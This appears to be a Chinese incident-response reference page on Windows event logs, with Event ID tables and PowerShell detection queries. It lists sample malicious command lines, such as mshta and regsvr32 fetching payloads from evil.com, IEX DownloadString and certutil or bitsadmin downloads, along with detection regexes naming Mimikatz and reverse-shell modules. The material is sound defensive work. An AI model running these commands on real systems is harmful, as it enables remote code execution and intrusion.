事件日志分析
前置说明
Windows 事件日志是 IR 中最重要的数据源,相当于 Linux 的 /var/log/auth.log + /var/log/syslog + auditd 的综合体
与 Linux 文本日志不同,Windows 使用二进制 EVTX 格式,必须通过专用工具或 API 解析
本页是 Windows IR 的核心参考页,建议收藏并反复查阅
关联页面:02-排查命令速查 | Windows应急响应/04-持久化排查 | Windows应急响应/01-基础知识
一、事件日志架构
1.1 EVTX 格式
Windows Vista 起使用 EVTX(XML Event Log)格式替代旧的 EVT 格式
每条事件包含:
System 部分: Provider、EventID、Level、TimeCreated、Computer、Channel
EventData 部分: 事件特定的键值对数据(不同 EventID 结构不同)
EVTX 文件是二进制格式,不能直接 cat 查看(这是 Linux 工程师常犯的错误)
解析方式:
PowerShell: Get-WinEvent
命令行: wevtutil
GUI: Event Viewer (eventvwr.msc)
离线: python-evtx、EvtxECmd(Eric Zimmerman)
1.2 日志存储位置
默认路径:C:\Windows\System32\winevt\Logs\
1 2 3 4 5 6 7 8 9 10 11 12
| C:\Windows\System32\winevt\Logs\ ├── Security.evtx ├── System.evtx ├── Application.evtx ├── Microsoft-Windows-PowerShell%4Operational.evtx ├── Microsoft-Windows-Sysmon%4Operational.evtx ├── Microsoft-Windows-TaskScheduler%4Operational.evtx ├── Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx ├── Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx ├── Microsoft-Windows-WinRM%4Operational.evtx ├── Microsoft-Windows-Bits-Client%4Operational.evtx └── Microsoft-Windows-Windows Defender%4Operational.evtx
|
Linux 对应关系:
Security.evtx ≈ /var/log/auth.log + /var/log/secure
System.evtx ≈ /var/log/syslog + /var/log/messages
Application.evtx ≈ 各应用自己的日志
默认日志大小限制:
Security: 20 MB(完全不够!生产环境经常几小时就轮转)
System/Application: 20 MB
其他通道: 1-15 MB
建议: Security 日志调整到至少 1 GB,或配置日志转发到 SIEM
1.3 关键日志通道一览
| 日志通道 |
文件名 |
重要性 |
主要内容 |
| Security |
Security.evtx |
最高 |
登录/注销、进程创建、权限使用、账户管理、审计策略变更 |
| System |
System.evtx |
高 |
服务安装/变更、驱动加载、系统错误、时间变更 |
| Application |
Application.evtx |
中 |
应用程序错误、警告 |
| PowerShell/Operational |
Microsoft-Windows-PowerShell%4Operational.evtx |
最高 |
PowerShell Script Block Logging(记录完整脚本内容) |
| Sysmon/Operational |
Microsoft-Windows-Sysmon%4Operational.evtx |
最高(如已部署) |
进程创建、网络连接、文件创建、注册表操作、DNS 查询 |
| TaskScheduler/Operational |
Microsoft-Windows-TaskScheduler%4Operational.evtx |
高 |
计划任务创建、执行、完成 |
| TerminalServices-RemoteConnectionManager |
…RemoteConnectionManager%4Operational.evtx |
高 |
RDP 连接请求(含源 IP) |
| TerminalServices-LocalSessionManager |
…LocalSessionManager%4Operational.evtx |
高 |
RDP 会话创建、断开、重连 |
| WinRM/Operational |
Microsoft-Windows-WinRM%4Operational.evtx |
高 |
PowerShell Remoting / WinRM 连接 |
| BITS-Client/Operational |
Microsoft-Windows-Bits-Client%4Operational.evtx |
中 |
BITS 传输(常被滥用下载恶意文件) |
| Windows Defender/Operational |
Microsoft-Windows-Windows Defender%4Operational.evtx |
高 |
杀软检测、实时保护状态变更 |
| Windows Firewall |
Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx |
中 |
防火墙规则变更 |
查看可用日志通道:
1 2
| Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | Sort-Object RecordCount -Descending | Select-Object LogName, RecordCount, MaximumSizeInBytes | Format-Table -AutoSize
|
二、关键 Event ID 大全
这是整个 Windows IR 知识体系中最核心的参考表
建议将本节打印或截图作为随身速查
2.1 Security Log — 登录与认证
Event ID 4624 — 成功登录(最常用)
重要性: 最高。几乎每次 IR 都要查询此事件
登录类型(Logon Type)详解:
| Type |
名称 |
含义 |
IR 关注度 |
| 2 |
Interactive |
本地控制台登录(键盘登录) |
高 — 物理访问 |
| 3 |
Network |
网络登录(SMB 共享、WMI 远程等) |
最高 — 横向移动 |
| 4 |
Batch |
计划任务执行 |
中 |
| 5 |
Service |
服务启动 |
中 |
| 7 |
Unlock |
解锁屏幕 |
低 |
| 8 |
NetworkCleartext |
明文网络登录(IIS Basic Auth) |
高 — 凭据暴露 |
| 9 |
NewCredentials |
RunAs /netonly |
高 — 凭据窃取后使用 |
| 10 |
RemoteInteractive |
RDP 远程桌面登录 |
最高 — RDP 攻击 |
| 11 |
CachedInteractive |
使用缓存凭据登录(离线/域控不可达) |
中 |
| 12 |
CachedRemoteInteractive |
使用缓存凭据的远程登录 |
中 |
关键字段:
TargetUserName — 登录的用户名
TargetDomainName — 域名
LogonType — 登录类型(见上表)
IpAddress — 来源 IP(Type 3/10 有值,Type 2 为 - 或 127.0.0.1)
IpPort — 来源端口
WorkstationName — 来源工作站名
TargetLogonId — 登录会话 ID(可用于关联后续操作)
LogonProcessName — 登录进程(NtLmSsp=NTLM, Kerberos=Kerberos, User32=控制台)
AuthenticationPackageName — 认证协议
查询示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 5000 | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data $type = ($data | Where-Object {$_.Name -eq 'LogonType'}).'#text' if ($type -eq '10') { [PSCustomObject]@{ TimeCreated = $_.TimeCreated TargetUser = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' TargetDomain = ($data | Where-Object {$_.Name -eq 'TargetDomainName'}).'#text' SourceIP = ($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' LogonId = ($data | Where-Object {$_.Name -eq 'TargetLogonId'}).'#text' AuthPackage = ($data | Where-Object {$_.Name -eq 'AuthenticationPackageName'}).'#text' } } } | Format-Table -AutoSize
|
Linux 对应: grep "Accepted" /var/log/auth.log 或 journalctl _COMM=sshd | grep Accepted
Event ID 4625 — 登录失败
重要性: 最高。暴力破解和密码喷射的直接证据
SubStatus 代码含义表:
| SubStatus |
含义 |
攻击场景 |
| 0xC0000064 |
用户名不存在 |
用户名枚举 |
| 0xC000006A |
密码错误 |
暴力破解 / 密码喷射 |
| 0xC000006D |
用户名或密码错误(通用) |
暴力破解 |
| 0xC000006E |
账户限制(如时间限制) |
N/A |
| 0xC000006F |
不在允许的登录时间内 |
N/A |
| 0xC0000070 |
不在允许的工作站 |
N/A |
| 0xC0000071 |
密码过期 |
N/A |
| 0xC0000072 |
账户已禁用 |
尝试使用被禁用的账户 |
| 0xC000015B |
未授予登录类型 |
权限配置 |
| 0xC0000192 |
NetLogon 服务未启动 |
N/A |
| 0xC0000193 |
账户已过期 |
N/A |
| 0xC0000224 |
需要更改密码 |
N/A |
| 0xC0000234 |
账户被锁定 |
暴力破解导致锁定 |
| 0xC0000413 |
认证防火墙阻止 |
N/A |
查询示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ Time = $_.TimeCreated User = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' SourceIP = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' SubStatus = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'SubStatus'}).'#text' LogonType = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'LogonType'}).'#text' } } | Group-Object SourceIP | Sort-Object Count -Descending | Select-Object Count, Name
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625; StartTime=(Get-Date).AddHours(-6)} | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ SourceIP = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' User = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' } } | Group-Object SourceIP | Where-Object { $_.Count -gt 10 } | ForEach-Object { [PSCustomObject]@{ SourceIP = $_.Name Attempts = $_.Count UniqueUsers = ($_.Group | Select-Object -ExpandProperty User -Unique).Count } } | Sort-Object Attempts -Descending
|
Linux 对应: grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
Event ID 4634 / 4647 — 注销
4634 — 会话终止(系统自动记录)
4647 — 用户主动注销(用户点击”注销”)
结合 4624 的 TargetLogonId 可以计算会话持续时间
1 2 3 4 5 6 7 8
| $logonId = '0x1A2B3C' $logon = Get-WinEvent -FilterXPath "*[System[EventID=4624] and EventData[Data[@Name='TargetLogonId']='$logonId']]" -LogName Security -MaxEvents 1 $logoff = Get-WinEvent -FilterXPath "*[System[EventID=4634] and EventData[Data[@Name='TargetLogonId']='$logonId']]" -LogName Security -MaxEvents 1 if ($logon -and $logoff) { $duration = $logoff.TimeCreated - $logon.TimeCreated Write-Host "会话持续: $($duration.TotalMinutes) 分钟" }
|
Event ID 4648 — 显式凭据登录(RunAs / RDP)
重要性: 高。表示用户使用了不同于当前会话的凭据进行操作
常见场景:
runas /user:CORP\admin cmd.exe
RDP 连接到另一台机器(发起端记录)
使用 net use \\server\share /user:CORP\admin
关键字段:
SubjectUserName — 当前登录用户
TargetUserName — 使用的凭据用户名
TargetServerName — 目标服务器
异常指标:
普通用户使用管理员凭据
频繁使用不同凭据连接不同服务器(横向移动)
1 2 3 4 5 6 7 8 9 10 11
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4648; StartTime=(Get-Date).AddDays(-7)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated Subject = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' TargetUser = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' TargetServer = ($data | Where-Object {$_.Name -eq 'TargetServerName'}).'#text' } } | Format-Table -AutoSize
|
Event ID 4672 — 特权分配(Special Privileges)
重要性: 高。表示登录用户获得了管理员特权
每次管理员登录都会伴随一条 4672 事件
通过 SubjectLogonId 与 4624 关联
1 2 3 4 5 6 7 8 9
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4672; StartTime=(Get-Date).AddDays(-1)} -MaxEvents 20 | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ Time = $_.TimeCreated User = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' } } | Format-Table -AutoSize
|
2.2 Security Log — 进程与服务
Event ID 4688 — 进程创建
重要性: 最高(前提是审计策略已启用)
默认不记录! 需要手动开启审计策略(见第四节)
需额外配置才能记录命令行参数:
组策略:计算机配置 → 管理模板 → 系统 → 审核进程创建 → 在进程创建事件中包含命令行 → 启用
或注册表:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled = 1
关键字段:
NewProcessId — 新进程 PID
NewProcessName — 进程路径
CommandLine — 完整命令行(需额外配置)
ParentProcessName — 父进程路径
SubjectUserName — 执行用户
TokenElevationType — Token 提升类型(%%1936=Full, %%1937=限制, %%1938=默认)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated User = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' Process = ($data | Where-Object {$_.Name -eq 'NewProcessName'}).'#text' CommandLine = ($data | Where-Object {$_.Name -eq 'CommandLine'}).'#text' Parent = ($data | Where-Object {$_.Name -eq 'ParentProcessName'}).'#text' } } | Where-Object { $_.CommandLine -match '(powershell.*-enc|cmd.*/c.*http|certutil.*-urlcache|bitsadmin.*transfer|mshta|regsvr32.*\/s.*\/i|rundll32.*,#)' } | Format-List
|
可疑命令行模式:
powershell.exe -nop -w hidden -enc <base64> — 编码执行
cmd.exe /c powershell IEX(New-Object Net.WebClient).DownloadString(...) — 下载执行
certutil.exe -urlcache -split -f http://... C:\temp\payload.exe — 利用 certutil 下载
bitsadmin /transfer job /download http://... C:\temp\payload.exe — 利用 BITS 下载
mshta.exe http://evil.com/payload.hta — HTA 执行
regsvr32.exe /s /i:http://evil.com/payload.sct scrobj.dll — Squiblydoo 攻击
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";... — Rundll32 滥用
Linux 对应: auditd 的 execve 审计规则 或 sysdig
Event ID 4689 — 进程终止
结合 4688 可计算进程运行时长
短生命周期进程(秒级)可能是攻击工具快速执行后自删除
Event ID 4697 — 服务安装(Security Log)
重要性: 高。新服务安装是常见的持久化和横向移动手段
默认不记录! 需启用 Security System Extension 审计策略
关键字段:
ServiceName — 服务名
ServiceFileName — 服务可执行文件路径
ServiceType — 服务类型
ServiceStartType — 启动类型
ServiceAccount — 运行账户
1 2 3 4 5 6 7 8 9 10 11
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4697} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated ServiceName = ($data | Where-Object {$_.Name -eq 'ServiceName'}).'#text' ServiceFile = ($data | Where-Object {$_.Name -eq 'ServiceFileName'}).'#text' Account = ($data | Where-Object {$_.Name -eq 'ServiceAccount'}).'#text' } } | Format-Table -AutoSize -Wrap
|
Event ID 4698 / 4702 — 计划任务创建/修改
重要性: 高。计划任务是最常见的持久化手段之一
关键字段:
TaskName — 任务名
TaskContent — 任务 XML 定义(包含执行命令等完整信息)
1 2 3 4 5 6 7 8 9 10 11
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4698,4702; StartTime=(Get-Date).AddDays(-7)} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated EventID = $_.Id User = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' TaskName = ($data | Where-Object {$_.Name -eq 'TaskName'}).'#text' } } | Format-Table -AutoSize
|
2.3 Security Log — 账户管理
Event ID 4720 — 用户账户创建
重要性: 最高。攻击者创建后门账户的直接证据
1 2 3 4 5 6 7 8 9 10 11
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4720; StartTime=(Get-Date).AddDays(-30)} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated CreatedUser = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' CreatedBy = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' SID = ($data | Where-Object {$_.Name -eq 'TargetSid'}).'#text' } } | Format-Table -AutoSize
|
Event ID 4722 — 账户启用
攻击者可能启用已禁用的 Guest 账户
Event ID 4723 — 用户尝试更改自己的密码
正常操作,但频繁出现可能是攻击者尝试维持访问
Event ID 4724 — 管理员重置用户密码
重要性: 高。攻击者获取管理员权限后可能重置其他账户密码
Event ID 4725 — 账户禁用
可能是管理员的应急响应操作,也可能是攻击者禁用其他管理员
Event ID 4726 — 账户删除
攻击者可能在操作完成后删除创建的后门账户以清除痕迹
Event ID 4732 / 4733 — 成员添加到/移出安全组
重要性: 最高。攻击者将后门账户添加到 Administrators 组
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4732,4733; StartTime=(Get-Date).AddDays(-30)} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated EventID = $_.Id Action = if ($_.Id -eq 4732) {'Added'} else {'Removed'} GroupName = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' MemberSid = ($data | Where-Object {$_.Name -eq 'MemberSid'}).'#text' ChangedBy = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' } } | Format-Table -AutoSize
|
完整账户管理事件一览:
| Event ID |
事件 |
IR 关注 |
| 4720 |
用户创建 |
最高 |
| 4722 |
账户启用 |
高 |
| 4723 |
用户改自己密码 |
中 |
| 4724 |
管理员重置密码 |
高 |
| 4725 |
账户禁用 |
中 |
| 4726 |
账户删除 |
高(清痕迹) |
| 4732 |
添加到安全组 |
最高 |
| 4733 |
从安全组移除 |
高 |
| 4738 |
用户账户变更 |
高 |
| 4740 |
账户锁定 |
中(暴破触发) |
| 4767 |
账户解锁 |
中 |
2.4 Security Log — Kerberos 与 NTLM
这些事件在域环境中非常重要,用于检测 Pass-the-Hash、Pass-the-Ticket、Kerberoasting 等攻击
Event ID 4768 — Kerberos TGT 请求 (AS-REQ)
用户认证的第一步,请求 TGT(Ticket Granting Ticket)
异常指标:
加密类型为 RC4(0x17)而非 AES — 可能是 Overpass-the-Hash
来自异常 IP 的 TGT 请求
非工作时间的请求
Event ID 4769 — Kerberos 服务票据请求 (TGS-REQ)
用户请求访问特定服务的票据
Kerberoasting 检测:
短时间内大量 4769 事件
请求的服务涵盖多个不同的 SPN
加密类型为 RC4(0x17)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769; StartTime=(Get-Date).AddHours(-6)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data $encType = ($data | Where-Object {$_.Name -eq 'TicketEncryptionType'}).'#text' if ($encType -eq '0x17') { [PSCustomObject]@{ Time = $_.TimeCreated User = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' Service = ($data | Where-Object {$_.Name -eq 'ServiceName'}).'#text' EncType = $encType IP = ($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' } } } | Format-Table -AutoSize
|
Event ID 4770 — Kerberos 票据续期
正常操作,但 Golden Ticket 的续期特征与正常票据不同
Event ID 4771 — Kerberos 预认证失败
等同于域环境中的登录失败,用于检测域账户暴力破解
失败代码:
0x18 — 密码错误(最常见)
0x6 — 用户不存在
0x12 — 账户禁用/过期/锁定
Event ID 4776 — NTLM 认证
重要性: 高。在 Kerberos 环境中出现 NTLM 认证可能意味着:
攻击者使用 Pass-the-Hash
旧系统/应用不支持 Kerberos
使用 IP 而非主机名访问资源
1 2 3 4 5 6 7 8 9 10 11 12
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4776; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated User = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' Source = ($data | Where-Object {$_.Name -eq 'Workstation'}).'#text' Status = ($data | Where-Object {$_.Name -eq 'Status'}).'#text' } } | Format-Table -AutoSize
|
2.5 Security Log — 网络共享与审计
Event ID 5140 — 网络共享访问
重要性: 高。记录通过网络访问的共享资源
关键关注:
对 C$、ADMIN$、IPC$ 管理共享的访问 — 横向移动标志
1 2 3 4 5 6 7 8 9 10 11
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5140; StartTime=(Get-Date).AddDays(-1)} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated User = ($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text' SourceIP = ($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' ShareName = ($data | Where-Object {$_.Name -eq 'ShareName'}).'#text' } } | Where-Object { $_.ShareName -match '(C\$|ADMIN\$|IPC\$)' } | Format-Table -AutoSize
|
Event ID 5145 — 网络共享对象访问(详细)
比 5140 更详细,记录了访问的具体文件路径和访问类型
需要启用 Detailed File Share 审计策略
Event ID 1102 — 审计日志被清除
重要性: 最高。攻击者清除日志的铁证
此事件本身不会被清除(在清除操作之前写入)
1 2 3 4 5 6 7 8
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=1102} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ Time = $_.TimeCreated ClearedBy = ($xml.Event.UserData.LogFileCleared.SubjectUserName) } } | Format-Table -AutoSize
|
Linux 对应: 检查 /var/log/ 文件被截断(find /var/log -empty)或 auth.log 中的时间跳跃
2.6 System Log
Event ID 7045 — 服务安装
重要性: 最高。比 Security 4697 更常见(默认就记录)
关键字段:
ServiceName — 服务名
ImagePath — 可执行文件路径(ServiceFileName)
ServiceType — 服务类型
StartType — 启动类型
AccountName — 运行账户
1 2 3 4 5 6 7 8 9 10 11 12
| Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated ServiceName = ($data | Where-Object {$_.Name -eq 'ServiceName'}).'#text' ImagePath = ($data | Where-Object {$_.Name -eq 'ImagePath'}).'#text' StartType = ($data | Where-Object {$_.Name -eq 'StartType'}).'#text' AccountName = ($data | Where-Object {$_.Name -eq 'AccountName'}).'#text' } } | Format-Table -AutoSize -Wrap
|
可疑服务路径模式:
cmd.exe /c powershell.exe -nop -w hidden ... — 明显恶意
C:\Users\Public\svc.exe — 非标准路径
%COMSPEC% /C echo ... > \\.\pipe\... — PsExec 特征
rundll32.exe C:\Users\... — DLL 执行
Event ID 7040 — 服务启动类型变更
异常指标:
Windows Defender 服务被改为 Disabled
Windows Firewall 服务被停止
Windows Update 服务被禁用
1 2 3
| Get-WinEvent -FilterHashtable @{LogName='System'; ID=7040; StartTime=(Get-Date).AddDays(-7)} | Select-Object TimeCreated, @{N='Message';E={$_.Message.Substring(0, [math]::Min(200, $_.Message.Length))}} | Format-List
|
Event ID 104 — 日志清除(System Log)
与 Security 的 1102 类似,记录系统日志被清除
1
| Get-WinEvent -FilterHashtable @{LogName='System'; ID=104} -EA SilentlyContinue
|
2.7 PowerShell Log
Event ID 4103 — Module Logging
记录 PowerShell 模块调用的输入/输出
需要启用:组策略 → 管理模板 → Windows Components → Windows PowerShell → Turn on Module Logging
Event ID 4104 — Script Block Logging(最重要!)
重要性: 最高。记录 PowerShell 执行的完整脚本内容
即使攻击者使用了 Base64 编码(-enc),此事件记录的是解码后的原始脚本
这是检测 PowerShell 攻击的最强大工具
需要启用:组策略 → 管理模板 → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging
Windows 10+ 默认会对”可疑”脚本自动记录(即使未启用策略)
1 2 3 4 5 6
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104; StartTime=(Get-Date).AddDays(-7)} | Where-Object { $_.Message -match '(Invoke-Mimikatz|Invoke-Expression|IEX|DownloadString|DownloadFile|Net\.WebClient|Invoke-Shellcode|Invoke-WMIMethod|New-Object.*IO\.MemoryStream|FromBase64String|System\.Reflection\.Assembly|Get-Credential|ConvertTo-SecureString|Start-Process.*-NoNewWindow)' } | Select-Object TimeCreated, @{N='ScriptBlock';E={$_.Message.Substring(0, [math]::Min(500, $_.Message.Length))}} | Format-List
|
典型恶意脚本关键词:
Invoke-Mimikatz — 凭据提取
Invoke-PowerShellTcp — 反弹 Shell
Get-Keystrokes — 键盘记录
Invoke-TokenManipulation — Token 操纵
Net.WebClient + DownloadString — 下载执行
[System.Convert]::FromBase64String — Base64 解码执行
[System.Reflection.Assembly]::Load — 内存加载 .NET 程序集
Invoke-WMIMethod — WMI 远程执行
2.8 Sysmon Log(如已部署)
Sysmon(System Monitor)是 Sysinternals 提供的增强审计工具,需要单独安装
如果目标系统部署了 Sysmon,它是最佳的 IR 数据源
Linux 对应:auditd + osquery 的组合
Sysmon Event ID 速查表
| Event ID |
事件 |
IR 价值 |
说明 |
| 1 |
进程创建 |
最高 |
含完整命令行、哈希、父进程、用户 |
| 2 |
文件创建时间修改 |
高 |
Timestomping 检测 |
| 3 |
网络连接 |
最高 |
进程级网络连接,含源/目的 IP:Port |
| 5 |
进程终止 |
中 |
进程生命周期追踪 |
| 6 |
驱动加载 |
高 |
Rootkit 检测 |
| 7 |
DLL 加载 |
高 |
DLL 注入/劫持检测 |
| 8 |
CreateRemoteThread |
最高 |
进程注入检测 |
| 9 |
RawAccessRead |
中 |
磁盘原始读取(凭据提取) |
| 10 |
ProcessAccess |
最高 |
Mimikatz 等工具访问 lsass.exe 的检测 |
| 11 |
文件创建 |
高 |
恶意文件落地检测 |
| 12 |
注册表对象创建/删除 |
高 |
持久化检测 |
| 13 |
注册表值设置 |
高 |
持久化检测(Run Key 等) |
| 14 |
注册表重命名 |
中 |
持久化隐藏 |
| 15 |
FileCreateStreamHash |
高 |
ADS 创建检测 |
| 17/18 |
命名管道创建/连接 |
高 |
C2 通信、横向移动检测 |
| 22 |
DNS 查询 |
高 |
恶意域名检测 |
| 23 |
文件删除(已归档) |
高 |
攻击者删除痕迹 |
| 25 |
进程篡改 |
最高 |
Process Hollowing 检测 |
Sysmon 关键查询示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated User = ($data | Where-Object {$_.Name -eq 'User'}).'#text' Image = ($data | Where-Object {$_.Name -eq 'Image'}).'#text' CommandLine = ($data | Where-Object {$_.Name -eq 'CommandLine'}).'#text' ParentImage = ($data | Where-Object {$_.Name -eq 'ParentImage'}).'#text' Hashes = ($data | Where-Object {$_.Name -eq 'Hashes'}).'#text' } } | Where-Object { $_.CommandLine -match '(powershell.*-enc|certutil.*url|bitsadmin.*transfer)' } | Format-List
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=3; StartTime=(Get-Date).AddHours(-6)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated Image = ($data | Where-Object {$_.Name -eq 'Image'}).'#text' User = ($data | Where-Object {$_.Name -eq 'User'}).'#text' DestIP = ($data | Where-Object {$_.Name -eq 'DestinationIp'}).'#text' DestPort = ($data | Where-Object {$_.Name -eq 'DestinationPort'}).'#text' } } | Where-Object { $_.DestIP -notmatch '^(10\.|172\.(1[6-9]|2|3[01])\.|192\.168\.|127\.)' } | Format-Table -AutoSize
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} -MaxEvents 500 -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data $target = ($data | Where-Object {$_.Name -eq 'TargetImage'}).'#text' if ($target -like '*lsass.exe') { [PSCustomObject]@{ Time = $_.TimeCreated SourceImage = ($data | Where-Object {$_.Name -eq 'SourceImage'}).'#text' GrantedAccess = ($data | Where-Object {$_.Name -eq 'GrantedAccess'}).'#text' } } } | Format-Table -AutoSize
|
1 2 3 4 5 6 7 8 9 10 11 12
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=22; StartTime=(Get-Date).AddHours(-6)} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated Image = ($data | Where-Object {$_.Name -eq 'Image'}).'#text' QueryName = ($data | Where-Object {$_.Name -eq 'QueryName'}).'#text' QueryResult = ($data | Where-Object {$_.Name -eq 'QueryResults'}).'#text' } } | Where-Object { $_.QueryName -notmatch '(microsoft\.com|windows\.com|windowsupdate\.com|msftconnecttest|msedge)' } | Format-Table -AutoSize
|
2.9 其他重要事件日志
TerminalServices — RDP 相关
| Event ID |
日志通道 |
事件 |
| 1149 |
TerminalServices-RemoteConnectionManager |
RDP 连接请求(含源 IP,最先触发) |
| 21 |
TerminalServices-LocalSessionManager |
会话登录成功 |
| 22 |
TerminalServices-LocalSessionManager |
Shell 启动(桌面加载) |
| 23 |
TerminalServices-LocalSessionManager |
会话注销 |
| 24 |
TerminalServices-LocalSessionManager |
会话断开 |
| 25 |
TerminalServices-LocalSessionManager |
会话重连 |
1 2 3 4 5 6 7 8 9 10 11 12
| Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational' -MaxEvents 50 | Where-Object { $_.Id -eq 1149 } | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ Time = $_.TimeCreated User = ($xml.Event.UserData.EventXML.Param1) Domain = ($xml.Event.UserData.EventXML.Param2) SourceIP = ($xml.Event.UserData.EventXML.Param3) } } | Format-Table -AutoSize
|
Windows Defender
| Event ID |
事件 |
| 1006 |
发现恶意软件 |
| 1007 |
执行操作清除恶意软件 |
| 1008 |
清除失败 |
| 1116 |
检测到恶意软件或不需要的软件 |
| 1117 |
执行操作保护系统 |
| 5001 |
实时保护被禁用 |
| 5004 |
实时保护配置变更 |
| 5007 |
配置变更 |
1 2 3 4 5 6 7
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116,1117; StartTime=(Get-Date).AddDays(-7)} -EA SilentlyContinue | Select-Object TimeCreated, Id, @{N='Detail';E={$_.Message.Substring(0,[math]::Min(300,$_.Message.Length))}} | Format-List
